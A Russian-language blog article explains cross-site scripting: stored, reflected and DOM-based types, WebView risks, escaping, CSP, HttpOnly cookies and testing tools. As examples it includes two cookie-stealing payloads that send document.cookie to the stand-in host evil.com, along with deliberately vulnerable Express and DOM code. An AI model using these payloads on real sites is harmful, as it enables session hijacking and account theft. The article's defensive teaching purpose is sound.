XSS — что это, типы атак и методы защиты

Автор: IT Sectr Опубликовано: 2026-04-06 Время чтения: 9 мин

XSS (Cross-Site Scripting) — тип уязвимости веб-приложений, при которой злоумышленник внедряет вредоносный JavaScript-код в контент, отображаемый другим пользователям. По данным OWASP Top Ten (2025), XSS остаётся одной из самых распространённых уязвимостей, затрагивающих более 60% веб-приложений. Межсайтовый скриптинг позволяет красть сессионные cookie, перенаправлять пользователей на фишинговые сайты и модифицировать содержимое страниц в реальном времени.

Главное

  • XSS — внедрение скрипта в страницу, выполняющегося в браузере жертвы от имени легитимного сайта
  • Три типа — Stored (постоянное внедрение), Reflected (отражённое) и DOM-based (на стороне клиента)
  • Stored XSS — самый опасный тип: вредоносный код хранится на сервере и выполняется при каждой загрузке страницы
  • Reflected XSS — скрипт передаётся через URL-параметры и срабатывает при переходе по специально созданной ссылке
  • Экранирование вывода — основной метод защиты: любые данные от пользователя должны экранироваться перед вставкой в HTML

Что такое XSS?

XSS (Cross-Site Scripting) — это уязвимость, позволяющая злоумышленнику внедрить JavaScript-код в веб-страницу, которая затем выполняется в браузере жертвы. Браузер загружает страницу с доверенного сайта и выполняет внедрённый скрипт с теми же правами, что и легитимный код сайта. Это даёт атакующему доступ к cookie, session storage, DOM-дереву страницы и возможность отправлять запросы от имени жертвы. XSS-уязвимости возникают, когда приложение вставляет пользовательские данные в HTML-страницу без надлежащего экранирования или валидации.

История и актуальность XSS

Впервые термин Cross-Site Scripting появился в 2000 году в Microsoft Security Bulletin. За прошедшие 25 лет XSS не утратил актуальности: по данным HackerOne (2025), XSS составляет около 22% всех зарегистрированных уязвимостей на платформе. Причина живучести XSS — сложность контроля всех точек входа пользовательских данных. Любое поле ввода, URL-параметр, заголовок HTTP-запроса или имя файла может стать вектором атаки, если данные отражаются в HTML-коде без обработки.

Какой ущерб наносит XSS?

XSS-атаки могут привести к краже сессионных cookie, что позволяет злоумышленнику войти в аккаунт жертвы без пароля. Другие последствия: перенаправление на фишинговые сайты, подмена содержимого страницы, кража личных данных, установка вредоносного ПО (drive-by download). В 2023 году атака через XSS на платформу Salesforce Community Cloud затронула данные тысяч корпоративных клиентов, продемонстрировав, что даже крупные платформы не застрахованы от этой уязвимости.

Типы XSS-атак

Классификация XSS делит атаки на три основных типа по способу доставки вредоносного кода. Каждый тип требует разного подхода к защите: Stored XSS блокируется экранированием вывода из БД, Reflected — экранированием URL-параметров, DOM-based — безопасной работой с DOM-API. Понимание разницы — основа эффективной стратегии безопасности.

ТипХранение скриптаВектор доставкиСложность обнаружения
Stored XSSБаза данных сервераКомментарии, профили, сообщенияСредняя
Reflected XSSURL-параметрыФишинговые ссылки, emailВысокая
DOM-based XSSКлиентский JavaScriptURL-фрагменты, postMessageОчень высокая

Stored XSS (постоянный)

Самый опасный тип XSS. Злоумышленник внедряет скрипт в данные, которые сервер хранит в базе данных и отображает при каждой загрузке страницы. Типичный вектор — поле комментария: злоумышленник публикует комментарий с <script>document.location='https://evil.com/?c='+document.cookie</script>. Каждый пользователь, загрузивший страницу с этим комментарием, отправляет свои cookie злоумышленнику. Stored XSS не требует от жертвы никаких действий, кроме посещения страницы — это делает его особенно опасным для социальных сетей, форумов и блогов.

Reflected XSS (отражённый)

Вредоносный скрипт передаётся в HTTP-запросе (обычно в URL-параметре) и сразу отражается сервером в ответе. Злоумышленник создаёт ссылку вида https://example.com/search?q=<script>...</script> и распространяет её через phishing, социальные сети или email. Жертва, перейдя по ссылке, получает страницу, где введённый поисковый запрос (скрипт) отображается без экранирования. Reflected XSS требует социальной инженерии — жертва должна кликнуть на ссылку, что снижает, но не устраняет риск.

DOM-based XSS

В отличие от Stored и Reflected, DOM-based XSS не требует отправки данных на сервер. Уязвимость возникает, когда клиентский JavaScript вставляет пользовательские данные из URL, document.referrer, postMessage или localStorage в DOM без безопасной обработки. Например, код вида document.getElementById('output').innerHTML = location.hash.substring(1) выполняет любой HTML и скрипты из URL-фрагмента (#<img onerror='...'>). DOM-based XSS сложнее всего обнаружить, так как сервер никогда не получает вредоносный payload — он полностью обрабатывается на клиенте.

javascript
// Пример DOM-based XSS (УЯЗВИМЫЙ КОД)
// Если userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
    window.location.search
).get('message');

// document.write — опасный: вставляет сырой HTML
document.write('<div>' + userInput + '</div>');

// БЕЗОПАСНАЯ АЛЬТЕРНАТИВА — используйте textContent
document.getElementById('output').textContent = userInput;

Как работает XSS-атака?

XSS-атака эксплуатирует фундаментальное свойство веба: браузер выполняет JavaScript, полученный с доверенного домена. Если злоумышленник находит способ внедрить свой код в HTML-ответ сервера, браузер выполняет его с теми же привилегиями, что и легитимный код. Атака проходит три фазы: внедрение вредоносного кода в контент, доставка контента в браузер жертвы и выполнение кода с доступом к DOM, cookie и storage.

Фаза внедрения

Злоумышленник находит точку входа — поле, URL-параметр или заголовок, значение которого сервер включает в HTML-ответ без экранирования. Типичные точки входа: поисковые строки, поля комментариев, имя пользователя, аватар URL, файлы cookie, HTTP-заголовки (User-Agent, Referer). Современные фреймворки (React, Angular, Vue) автоматически экранируют вывод, но разработчики могут отключить экранирование через dangerouslySetInnerHTML, bypassSecurityTrustHtml или v-html.

Фаза доставки

Для Reflected XSS злоумышленник распространяет вредоносную ссылку. Для Stored XSS достаточно опубликовать контент на целевом сайте, и каждый посетитель страницы становится жертвой. DOM-based XSS активируется при загрузке страницы с определённым URL-фрагментом. Все три фазы могут выполняться автоматически: если XSS обнаружен в рекламном баннере (третьесторонний контент), атака затронет всех пользователей сайта, пока баннер не отключат.

javascript
// Пример Reflected XSS в поиске (УЯЗВИМЫЙ БЭКЕНД)
// Вместо экранирования параметра q, сервер вставляет его в HTML

// Express.js — уязвимый обработчик:
app.get('/search', (req, res) => {
    const query = req.query.q; // пользовательский ввод
    res.send(`<h1>Results for: ${query}</h1>`);
});

// БЕЗОПАСНАЯ ВЕРСИЯ — экранирование через encodeURI или шаблонизатор:
app.get('/search', (req, res) => {
    const query = escapeHtml(req.query.q);
    res.send(`<h1>Results for: ${query}</h1>`);
});

function escapeHtml(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}

XSS в мобильных приложениях

Мобильные приложения также подвержены XSS-атакам, хотя и в меньшей степени, чем веб-сайты. Основной вектор — WebView и гибридные фреймворки (Cordova, Capacitor, React Native с WebView). Если приложение загружает веб-контент в WebView — особенно пользовательский контент (HTML-email, статьи, сообщения) — XSS-уязвимость может привести к выполнению JavaScript внутри приложения с доступом к нативным функциям через JavaScript-бридж.

XSS в WebView Android

Android WebView выполняет JavaScript по умолчанию. Если приложение загружает HTML-строку через loadDataWithBaseURL() или отображает пользовательский контент, XSS-атака может дать злоумышленнику доступ к JavaScript-интерфейсу (addJavascriptInterface). Google запретил использование @JavascriptInterface для API < 17, но legacy-код в старых приложениях всё ещё встречается. Защита: отключайте JavaScript в WebView, если он не нужен, и используйте safe browsing.

XSS в React Native и Flutter

React Native не использует WebView для UI — компоненты рендерятся в нативные вью. Однако при отображении HTML через react-native-webview или rich-text компоненты XSS-риск возвращается. Flutter использует собственный движок рендеринга (Skia) и не поддерживает JavaScript в HTML-виджетах (flutter_html не выполняет script-теги), но WebView-плагины (webview_flutter) уязвимы аналогично нативным WebView. Лучшая практика — никогда не передавать непроверенный HTML в WebView.

  • Отключайте JavaScript в WebView, если контент не требует интерактивности
  • Используйте CSP-заголовки для ограничения источников скриптов в WebView
  • Санитируйте HTML перед загрузкой в WebView: удалите script-теги и event-обработчики
  • Не используйте addJavascriptInterface на Android без строгой проверки входящих данных
kotlin
// Безопасная настройка WebView в Android
val webView = findViewById<WebView>(R.id.webview)

// Отключаем JavaScript, если интерактив не нужен
webView.settings.javaScriptEnabled = false

// Санитируем HTML перед загрузкой
val sanitizedHtml = Jsoup.clean(userHtml,
    Whitelist.basic()
        .removeProtocols("img", "src", "javascript")
)

webView.loadDataWithBaseURL(null, sanitizedHtml,
    "text/html", "UTF-8", null)

Методы предотвращения XSS

Защита от XSS строится на трёх принципах: не доверяй пользовательскому вводу, экранируй перед выводом, используй Content Security Policy. Экранирование вывода (output encoding) — самый важный метод: все данные, полученные от пользователя, должны экранироваться перед вставкой в HTML, JavaScript, CSS или URL. Современные шаблонизаторы (Twig, Handlebars, JSX, Blade) делают это автоматически, если разработчик не отключает экранирование специальными методами.

Контекстное экранирование

Экранирование зависит от контекста вставки данных. В HTML-контексте экранируются <, >, &, кавычки. В JavaScript-контексте экранируются обратные кавычки, \n, </script>. В CSS-контексте — управляющие символы. В URL-контексте — URL-encoding. Ошибка контекста — например, вставка HTML-экранированной строки в атрибут onclick — не защищает от XSS, так как onclick выполняется в JavaScript-контексте, где нужна другая экранировка.

Content Security Policy (CSP)

CSP — HTTP-заголовок, ограничивающий источники, с которых браузер может загружать скрипты, стили и другие ресурсы. Строгая CSP (без unsafe-inline, без unsafe-eval) блокирует выполнение любых inline-скриптов, включая XSS-векторы. По данным Google Security Blog (2025), сайты с CSP блокируют 95% XSS-атак. Пример: Content-Security-Policy: default-src 'self'; script-src 'self' запрещает любые внешние и inline-скрипты. CSP не защищает от Stored XSS, если скрипт загружается с того же домена, но это требует дополнительных усилий от злоумышленника.

HTTP-only и Secure cookie

Установка флага HttpOnly для cookie предотвращает доступ к ним через JavaScript (document.cookie), что блокирует кражу сессионных cookie через XSS. Флаг Secure гарантирует, что cookie передаётся только по HTTPS. Комбинация HttpOnly + Secure + SameSite=Lax делает кражу сессионных cookie через XSS практически невозможной. Однако XSS всё ещё может выполнять действия от имени пользователя (например, отправлять запросы), поэтому HttpOnly — не панацея, а часть комплексной защиты.

Метод защитыОт каких типов XSS защищаетЭффективность
Экранирование выводаStored, Reflected, DOM-based99%
CSPInline XSS, eval-based95%
HttpOnly cookieКража сессий через XSS100% (не читаются)
Валидация вводаStored, Reflected50% (зависит от типа)
TRUSTED TYPESDOM-based (innerHTML)90%

Инструменты для обнаружения XSS

Регулярное тестирование на XSS — обязательная часть CI/CD пайплайна безопасной разработки. Автоматизированные сканеры находят до 80% XSS-уязвимостей, остальные требуют ручного пентеста. Лучший подход — комбинация SAST-анализа (статического), DAST-сканирования (динамического) и code review с фокусом на точки ввода пользовательских данных.

  • OWASP ZAP — бесплатный DAST-сканер, автоматически находит XSS в веб-приложениях
  • Burp Suite Professional — продвинутый инструмент с Active Scan и Intruder для XSS
  • XSStrike — специализированный сканер для XSS с генерацией payloads
  • ESLint-plugin-security — статический анализ React/JSX на опасные паттерны
  • Google Observatory — проверка CSP-заголовков и связанных с XSS конфигураций

Для мобильных приложений тестирование XSS включает анализ WebView: проверку JavaScript-интерфейсов, обработку URL-схем и передачу HTML в loadDataWithBaseURL. Рекомендуется также тестировать обработку postMessage в гибридных приложениях и проверять, какие данные передаются через JavaScript-бридж. Используйте эмулятор с прокси (Burp Suite) для перехвата и модификации трафика мобильного приложения.

Часто задаваемые вопросы

В чём разница между Stored и Reflected XSS?

Stored XSS хранит вредоносный скрипт на сервере (в БД) и срабатывает при любой загрузке страницы. Reflected XSS передаёт скрипт через URL-параметр, и атака срабатывает только при переходе по вредоносной ссылке. Stored опаснее, так как не требует действий жертвы — достаточно просто открыть заражённую страницу.

Защищает ли HTTPS от XSS?

Нет, HTTPS не защищает от XSS. HTTPS шифрует трафик между браузером и сервером, но не влияет на обработку пользовательского ввода на серверной стороне. XSS-уязвимость существует на уровне приложения, а не транспорта. HTTPS — обязательный минимум безопасности, но не защита от XSS.

Может ли XSS-атака повредить само мобильное устройство?

В большинстве случаев XSS выполняется в песочнице браузера или WebView и не имеет доступа к файловой системе или оборудованию устройства. Однако в Android WebView с включённым JavaScript-интерфейсом XSS-скрипт может вызвать нативные методы приложения. В iOS WKWebView также может раскрыть данные через JavaScriptCore, если настроен соответствующий мост.

Как тестировать XSS в мобильных приложениях?

Используйте Burp Suite или OWASP ZAP с настроенным прокси на мобильном устройстве. Перехватывайте запросы приложения, модифицируйте параметры и передавайте XSS-payloads. Проверяйте WebView на обработку HTML через loadDataWithBaseURL и наличие JavaScript-бриджей. Для React Native тестируйте WebView-компоненты отдельно.

Что такое DOM-based XSS простыми словами?

DOM-based XSS — это атака, при которой JavaScript на странице сам берёт данные из URL или других источников и вставляет их в HTML без проверки. Сервер не участвует — вредоносный код обрабатывается полностью в браузере. Типичный пример: сайт берёт текст из location.hash и вставляет его через innerHTML, что позволяет выполнить любой HTML-код.

Итоги

  • XSS — межсайтовый скриптинг, позволяющий внедрять JavaScript-код в веб-страницу для атаки на браузер жертвы
  • Три типа — Stored (постоянный, в БД), Reflected (отражённый, через URL), DOM-based (на клиенте, через DOM-API)
  • Stored XSS — самый опасный: не требует действий жертвы, срабатывает при загрузке заражённой страницы
  • Экранирование вывода — главный метод защиты: контекстное экранирование перед вставкой в HTML, JS, CSS, URL
  • CSP-заголовки блокируют 95% XSS-атак, запрещая inline-скрипты и внешние источники
  • HttpOnly и Secure — флаги cookie, предотвращающие кражу сессий через document.cookie
  • Регулярное тестирование — OWASP ZAP, Burp Suite и code review обязательны в CI/CD пайплайне

Мы разработаем мобильное приложение под ключ

IT Sectr создаёт приложения для iOS и Android для стартапов и бизнеса с 2017 года. Мы проконсультируем вас и предложим наилучшее решение.

Обсудить проект

Читайте также